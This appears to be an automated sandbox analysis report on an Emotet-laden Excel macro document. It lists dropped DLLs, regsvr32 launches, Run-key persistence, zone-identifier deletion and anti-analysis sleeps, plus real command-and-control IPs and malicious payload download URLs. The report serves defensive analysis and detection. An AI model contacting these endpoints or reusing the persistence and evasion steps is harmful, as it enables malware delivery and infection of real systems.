Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\elv4.ooocccxxx Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\elv3.ooocccxxx Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\elv2.ooocccxxx Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run TzrBJWzmduQmnx.dll Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run TzrBJWzmduQmnx.dll Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run rgLdvmpYAAMw.dll Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run rgLdvmpYAAMw.dll Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run DkEI.dll Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run DkEI.dll Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
Hides that the sample has been downloaded from the Internet (zone.identifier)
Source: C:\Windows\System32\regsvr32.exe File opened: C:\Windows\system32\YsDsgPDHHUIQoh\TzrBJWzmduQmnx.dll:Zone.Identifier read attributes | delete Jump to behavior
Source: C:\Windows\System32\regsvr32.exe File opened: C:\Windows\system32\LxJhBpIGuQtuqLqlk\rgLdvmpYAAMw.dll:Zone.Identifier read attributes | delete Jump to behavior
Source: C:\Windows\System32\regsvr32.exe File opened: C:\Windows\system32\HXVNCiWla\DkEI.dll:Zone.Identifier read attributes | delete Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\regsvr32.exe TID: 2344 Thread sleep time: -180000s >= -30000s Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 1484 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 1484 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 1664 Thread sleep time: -120000s >= -30000s Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 1664 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 1288 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 1288 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 2076 Thread sleep time: -60000s >= -30000s Jump to behavior
Found dropped PE file which has not been started or loaded
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\EvvmhfKiKFhKrSuHfBq[1].dll Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\AAA2.tmp (copy) Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\o0oHPECmC0WPIXcvQPJOXzFOO7w00z7mkDO[1].dll Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\2yXcjy57oZTTUNweDidCGUY[1].dll Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\D116.tmp (copy) Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_000000018001E0D4 FindFirstFileW,FindNextFileW,FindClose, 7_2_000000018001E0D4
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_000000018001E0D4 FindFirstFileW,FindNextFileW,FindClose, 9_2_000000018001E0D4
Source: C:\Windows\System32\regsvr32.exe Code function: 11_2_000000018001E0D4 FindFirstFileW,FindNextFileW,FindClose, 11_2_000000018001E0D4
Source: C:\Windows\System32\regsvr32.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\System32\regsvr32.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\System32\regsvr32.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\System32\regsvr32.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\System32\regsvr32.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: regsvr32.exe, 0000000C.00000002.1271805259.00000000001FA000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_000007FEF90F4980 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 5_2_000007FEF90F4980
Contains functionality to dynamically determine API calls
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_000007FEF9102AF0 DecodePointer,_errno,_invalid_parameter_noinfo,LoadLibraryW,GetProcAddress,_errno,GetLastError,_invalid_parameter_noinfo,GetLastError,EncodePointer,FreeLibrary,_errno,_errno, 5_2_000007FEF9102AF0
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_000007FEF90F4980 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 5_2_000007FEF90F4980
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_000007FEF90F91F4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 5_2_000007FEF90F91F4
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_000007FEF9084980 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 8_2_000007FEF9084980
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_000007FEF90891F4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 8_2_000007FEF90891F4
Source: C:\Windows\System32\regsvr32.exe Code function: 10_2_000007FEF9014980 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 10_2_000007FEF9014980
Source: C:\Windows\System32\regsvr32.exe Code function: 10_2_000007FEF90191F4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 10_2_000007FEF90191F4

HIPS / PFW / Operating System Protection Evasion
barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\System32\regsvr32.exe Network Connect: 45.63.99.23 7080 Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Network Connect: 173.255.211.88 443 Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Network Connect: 182.162.143.56 443 Jump to behavior
Yara detected Xls With Macro 4.0
Source: Yara match File source: C:\Users\user\Desktop\BD680000, type: DROPPED
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\regsvr32.exe Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\YsDsgPDHHUIQoh\TzrBJWzmduQmnx.dll" Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\LxJhBpIGuQtuqLqlk\rgLdvmpYAAMw.dll" Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\HXVNCiWla\DkEI.dll" Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\regsvr32.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Contains functionality to query locales information (e.g. system language)
Source: C:\Windows\System32\regsvr32.exe Code function: GetLocaleInfoW, 5_2_000007FEF91079F8
Source: C:\Windows\System32\regsvr32.exe Code function: _getptd,GetLocaleInfoA, 5_2_000007FEF9107910
Source: C:\Windows\System32\regsvr32.exe Code function: GetLastError,free,free,GetLocaleInfoW,GetLocaleInfoW,free,GetLocaleInfoW, 5_2_000007FEF9102BF4
Source: C:\Windows\System32\regsvr32.exe Code function: _getptd,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoW, 5_2_000007FEF9107A88
Source: C:\Windows\System32\regsvr32.exe Code function: _getptd,GetLocaleInfoA,GetLocaleInfoW, 5_2_000007FEF9107D58
Source: C:\Windows\System32\regsvr32.exe Code function: GetLocaleInfoW,GetLocaleInfoW,WideCharToMultiByte,free, 5_2_000007FEF9108470
Source: C:\Windows\System32\regsvr32.exe Code function: EnumSystemLocalesA, 5_2_000007FEF9107F60
Source: C:\Windows\System32\regsvr32.exe Code function: _getptd,EnumSystemLocalesA,GetUserDefaultLCID,GetLocaleInfoW,GetLocaleInfoW,GetACP,IsValidCodePage,IsValidLocale,GetLocaleInfoA,GetLocaleInfoA,_itow_s, 5_2_000007FEF9107FCC
Source: C:\Windows\System32\regsvr32.exe Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP, 5_2_000007FEF91077EC
Source: C:\Windows\System32\regsvr32.exe Code function: EnumSystemLocalesA, 5_2_000007FEF9107E88
Source: C:\Windows\System32\regsvr32.exe Code function: EnumSystemLocalesA, 5_2_000007FEF9107EC8
Source: C:\Windows\System32\regsvr32.exe Code function: GetLocaleInfoW, 8_2_000007FEF90979F8
Source: C:\Windows\System32\regsvr32.exe Code function: _getptd,GetLocaleInfoA, 8_2_000007FEF9097910
Source: C:\Windows\System32\regsvr32.exe Code function: GetLastError,free,free,GetLocaleInfoW,GetLocaleInfoW,free,GetLocaleInfoW, 8_2_000007FEF9092BF4
Source: C:\Windows\System32\regsvr32.exe Code function: _getptd,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoW, 8_2_000007FEF9097A88
Source: C:\Windows\System32\regsvr32.exe Code function: _getptd,GetLocaleInfoA,GetLocaleInfoW, 8_2_000007FEF9097D58
Source: C:\Windows\System32\regsvr32.exe Code function: GetLocaleInfoW,GetLocaleInfoW,WideCharToMultiByte,free, 8_2_000007FEF9098470
Source: C:\Windows\System32\regsvr32.exe Code function: EnumSystemLocalesA, 8_2_000007FEF9097F60
Source: C:\Windows\System32\regsvr32.exe Code function: _getptd,EnumSystemLocalesA,GetUserDefaultLCID,GetLocaleInfoW,GetLocaleInfoW,GetACP,IsValidCodePage,IsValidLocale,GetLocaleInfoA,GetLocaleInfoA,_itow_s, 8_2_000007FEF9097FCC
Source: C:\Windows\System32\regsvr32.exe Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP, 8_2_000007FEF90977EC
Source: C:\Windows\System32\regsvr32.exe Code function: EnumSystemLocalesA, 8_2_000007FEF9097E88
Source: C:\Windows\System32\regsvr32.exe Code function: EnumSystemLocalesA, 8_2_000007FEF9097EC8
Source: C:\Windows\System32\regsvr32.exe Code function: GetLocaleInfoW, 10_2_000007FEF90279F8
Source: C:\Windows\System32\regsvr32.exe Code function: _getptd,GetLocaleInfoA, 10_2_000007FEF9027910
Source: C:\Windows\System32\regsvr32.exe Code function: GetLastError,free,free,GetLocaleInfoW,GetLocaleInfoW,free,GetLocaleInfoW, 10_2_000007FEF9022BF4
Source: C:\Windows\System32\regsvr32.exe Code function: _getptd,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoW, 10_2_000007FEF9027A88
Source: C:\Windows\System32\regsvr32.exe Code function: _getptd,GetLocaleInfoA,GetLocaleInfoW, 10_2_000007FEF9027D58
Source: C:\Windows\System32\regsvr32.exe Code function: GetLocaleInfoW,GetLocaleInfoW,WideCharToMultiByte,free, 10_2_000007FEF9028470
Source: C:\Windows\System32\regsvr32.exe Code function: EnumSystemLocalesA, 10_2_000007FEF9027F60
Source: C:\Windows\System32\regsvr32.exe Code function: _getptd,EnumSystemLocalesA,GetUserDefaultLCID,GetLocaleInfoW,GetLocaleInfoW,GetACP,IsValidCodePage,IsValidLocale,GetLocaleInfoA,GetLocaleInfoA,_itow_s, 10_2_000007FEF9027FCC
Source: C:\Windows\System32\regsvr32.exe Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP, 10_2_000007FEF90277EC
Source: C:\Windows\System32\regsvr32.exe Code function: EnumSystemLocalesA, 10_2_000007FEF9027E88
Source: C:\Windows\System32\regsvr32.exe Code function: EnumSystemLocalesA, 10_2_000007FEF9027EC8
Source: C:\Windows\System32\regsvr32.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_000007FEF90F8C48 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter, 5_2_000007FEF90F8C48
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_000007FEF90F75D0 HeapCreate,GetVersion,HeapSetInformation, 5_2_000007FEF90F75D0

Stealing of Sensitive Information
barindex
Yara detected Emotet
Source: Yara match File source: 00000007.00000002.1379999865.00000000001AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.1380113365.000000000028A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.1380049147.000000000037A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.1380135944.000000000031A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 8.2.regsvr32.exe.1ef0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.regsvr32.exe.3b0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.regsvr32.exe.3b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.regsvr32.exe.4c0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.regsvr32.exe.3c0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.regsvr32.exe.1b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.regsvr32.exe.3c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.regsvr32.exe.4b0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.regsvr32.exe.2d0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.regsvr32.exe.2d0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.regsvr32.exe.4c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.regsvr32.exe.3b0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.regsvr32.exe.1ef0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.regsvr32.exe.4b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.regsvr32.exe.140000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.regsvr32.exe.3b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.regsvr32.exe.140000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.regsvr32.exe.1b0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000007.00000002.1381010600.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.1109090609.00000000003C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.938553016.00000000003B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.1379957935.00000000002D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.950173047.0000000001EF0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.1293166483.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.1380954882.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.1380702189.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.1271971466.00000000003B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.1380409195.00000000004C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.1379888285.00000000001B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.939232134.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.950500387.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.1379913182.0000000000140000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.1272338835.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.1380959934.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.1110669448.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.1292663016.00000000004B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 745330 Sample: RechX2022.11.11_1045X.xls Startdate: 14/11/2022 Architecture: WINDOWS Score: 100 55 129.232.188.93 xneeloZA South Africa 2->55 57 45.235.8.30 WIKINETTELECOMUNICACOESBR Brazil 2->57 59 49 other IPs or domains 2->59 73 Snort IDS alert for network traffic 2->73 75 Multi AV Scanner detection for domain / URL 2->75 77 Malicious sample detected (through community Yara rule) 2->77 79 10 other signatures 2->79 8 EXCEL.EXE 30 27 2->8         started        13 regsvr32.exe 2 2->13         started        15 regsvr32.exe 2->15         started        17 regsvr32.exe 2 2->17         started        signatures3 process4 dnsIp5 61 copunupo.ac.zm 41.63.0.22, 443, 49175 ZAMRENZM Zambia 8->61 63 datie-tw.com 175.98.167.165, 443, 49173 TFN-TWTaiwanFixedNetworkTelcoandNetworkServiceProvi Taiwan; Republic of China (ROC) 8->63 65 2 other IPs or domains 8->65 43 C:\Users\user\elv4.ooocccxxx, PE32+ 8->43 dropped 45 C:\Users\user\elv3.ooocccxxx, PE32+ 8->45 dropped 47 C:\Users\user\elv2.ooocccxxx, PE32+ 8->47 dropped 53 4 other malicious files 8->53 dropped 83 Document exploit detected (creates forbidden files) 8->83 85 Document exploit detected (UrlDownloadToFile) 8->85 19 regsvr32.exe 2 8->19         started        23 regsvr32.exe 2 8->23         started        25 regsvr32.exe 2 8->25         started        27 regsvr32.exe 8->27         started        49 C:\Users\user\AppData\...\D116.tmp (copy), PE32+ 13->49 dropped 87 System process connects to network (likely due to code injection or exploit) 13->87 51 C:\Users\user\AppData\...\AAA2.tmp (copy), PE32+ 17->51 dropped file6 signatures7 process8 file9 37 C:\Windows\...\TzrBJWzmduQmnx.dll (copy), PE32+ 19->37 dropped 81 Hides that the sample has been downloaded from the Internet (zone.identifier) 19->81 29 regsvr32.exe 1 19->29         started        39 C:\Windows\System32\...\DkEI.dll (copy), PE32+ 23->39 dropped 33 regsvr32.exe 1 23->33         started        41 C:\Windows\...\rgLdvmpYAAMw.dll (copy), PE32+ 25->41 dropped 35 regsvr32.exe 1 25->35         started        signatures10 process11 dnsIp12 67 173.255.211.88, 443, 49177, 49178 LINODE-APLinodeLLCUS United States 29->67 69 182.162.143.56, 443, 49181, 49182 LGDACOMLGDACOMCorporationKR Korea Republic of 29->69 71 45.63.99.23, 7080 AS-CHOOPAUS United States 29->71 89 Creates multiple autostart registry keys 29->89 91 Creates an autostart registry key pointing to binary in C:\Windows 29->91 signatures13
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
110.232.117.186
 unknown Australia
56038 RACKCORP-APRackCorpAU true
103.132.242.26
 unknown India
45117 INPL-IN-APIshansNetworkIN true
104.168.155.143
 unknown United States
54290 HOSTWINDSUS true
79.137.35.198
 unknown France
16276 OVHFR true
45.118.115.99
 unknown Indonesia
131717 IDNIC-CIFO-AS-IDPTCitraJelajahInformatikaID true
172.104.251.154
 unknown United States
63949 LINODE-APLinodeLLCUS true
115.68.227.76
 unknown Korea Republic of
38700 SMILESERV-AS-KRSMILESERVKR true
81.68.152.197
 ly.yjlianyi.top China
45090 CNNIC-TENCENT-NET-APShenzhenTencentComputerSystemsCompa false
163.44.196.120
 unknown Singapore
135161 GMO-Z-COM-THGMO-ZcomNetDesignHoldingsCoLtdSG true
206.189.28.199
 unknown United States
14061 DIGITALOCEAN-ASNUS true
45.63.99.23
 unknown United States
20473 AS-CHOOPAUS true
107.170.39.149
 unknown United States
14061 DIGITALOCEAN-ASNUS true
197.242.150.244
 unknown South Africa
37611 AfrihostZA true
185.4.135.165
 unknown Greece
199246 TOPHOSTGR true
183.111.227.137
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR true
45.176.232.124
 unknown Colombia
267869 CABLEYTELECOMUNICACIONESDECOLOMBIASASCABLETELCOC true
139.59.56.73
 unknown Singapore
14061 DIGITALOCEAN-ASNUS true
169.57.156.166
 unknown United States
36351 SOFTLAYERUS true
175.98.167.165
 datie-tw.com Taiwan; Republic of China (ROC)
9924 TFN-TWTaiwanFixedNetworkTelcoandNetworkServiceProvi false
164.68.99.3
 unknown Germany
51167 CONTABODE true
139.59.126.41
 unknown Singapore
14061 DIGITALOCEAN-ASNUS true
167.172.253.162
 unknown United States
14061 DIGITALOCEAN-ASNUS true
147.139.166.154
 unknown United States
45102 CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC true
202.129.205.3
 unknown Thailand
45328 NIPA-AS-THNIPATECHNOLOGYCOLTDTH true
167.172.199.165
 unknown United States
14061 DIGITALOCEAN-ASNUS true
153.92.5.27
 unknown Germany
47583 AS-HOSTINGERLT true
159.65.140.115
 unknown United States
14061 DIGITALOCEAN-ASNUS true
159.65.88.10
 unknown United States
14061 DIGITALOCEAN-ASNUS true
172.105.226.75
 unknown United States
63949 LINODE-APLinodeLLCUS true
164.90.222.65
 unknown United States
14061 DIGITALOCEAN-ASNUS true
213.239.212.5
 unknown Germany
24940 HETZNER-ASDE true
5.135.159.50
 unknown France
16276 OVHFR true
173.255.211.88
 unknown United States
63949 LINODE-APLinodeLLCUS true
212.24.98.99
 unknown Lithuania
62282 RACKRAYUABRakrejusLT true
186.194.240.217
 unknown Brazil
262733 NetceteraTelecomunicacoesLtdaBR true
91.187.140.35
 unknown Serbia
13092 UB-ASRS true
119.59.103.152
 unknown Thailand
56067 METRABYTE-TH453LadplacoutJorakhaebuaTH true
159.89.202.34
 unknown United States
14061 DIGITALOCEAN-ASNUS true
201.94.166.162
 unknown Brazil
28573 CLAROSABR true
160.16.142.56
 unknown Japan 9370 SAKURA-BSAKURAInternetIncJP true
103.75.201.2
 unknown Thailand
133496 CDNPLUSCOLTD-AS-APCDNPLUSCOLTDTH true
91.207.28.33
 unknown Kyrgyzstan
39819 PROHOSTKG true
103.43.75.120
 unknown Japan 20473 AS-CHOOPAUS true
188.44.20.25
 unknown Macedonia
57374 GIV-ASMK true
45.235.8.30
 unknown Brazil
267405 WIKINETTELECOMUNICACOESBR true
153.126.146.25
 unknown Japan 7684 SAKURA-ASAKURAInternetIncJP true
72.15.201.15
 unknown United States
13649 ASN-VINSUS true
82.223.21.224
 unknown Spain
8560 ONEANDONE-ASBrauerstrasse48DE true
173.212.193.249
 unknown Germany
51167 CONTABODE true
47.92.35.35
 sbm.xinmoshiwang.com China
37963 CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd false
95.217.221.146
 unknown Germany
24940 HETZNER-ASDE true
41.63.0.22
 copunupo.ac.zm Zambia
37532 ZAMRENZM false
149.56.131.28
 unknown Canada
16276 OVHFR true
209.97.163.214
 unknown United States
14061 DIGITALOCEAN-ASNUS true
182.162.143.56
 unknown Korea Republic of
3786 LGDACOMLGDACOMCorporationKR true
1.234.2.232
 unknown Korea Republic of
9318 SKB-ASSKBroadbandCoLtdKR true
129.232.188.93
 unknown South Africa
37153 xneeloZA true
94.23.45.86
 unknown France
16276 OVHFR true

Contacted Domains

Name IP Active
sbm.xinmoshiwang.com 47.92.35.35 true
datie-tw.com 175.98.167.165 true
copunupo.ac.zm 41.63.0.22 true
ly.yjlianyi.top 81.68.152.197 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://182.162.143.56/qhecxbnpzjg/ true
  • Avira URL Cloud: malware
 unknown
http://sbm.xinmoshiwang.com/upload/VaOfWEb3pW76UO/ true
  • Avira URL Cloud: malware
 unknown
https://182.162.143.56/boiplpwswxcuxnjh/uinwb/ubppn/lupq/ true
  • Avira URL Cloud: malware
 unknown
http://ly.yjlianyi.top/wp-admin/4cChao/ false
  • Avira URL Cloud: malware
 unknown
https://datie-tw.com/img/O8G0RDZj7MYCuJyPoP/ false
  • Avira URL Cloud: malware
 unknown
https://copunupo.ac.zm/cgi-bin/WFFcGx/ false
  • Avira URL Cloud: malware
 unknown
https://182.162.143.56/acqrviy/djjybechrofav/ true
  • Avira URL Cloud: malware
 unknown
https://182.162.143.56/foelwwmtkdwehjqr/njwmpsxnqsxod/rlwwfo/ true
  • Avira URL Cloud: malware
 unknown
https://182.162.143.56/urupsapzfmrxqv/ true
  • Avira URL Cloud: malware
 unknown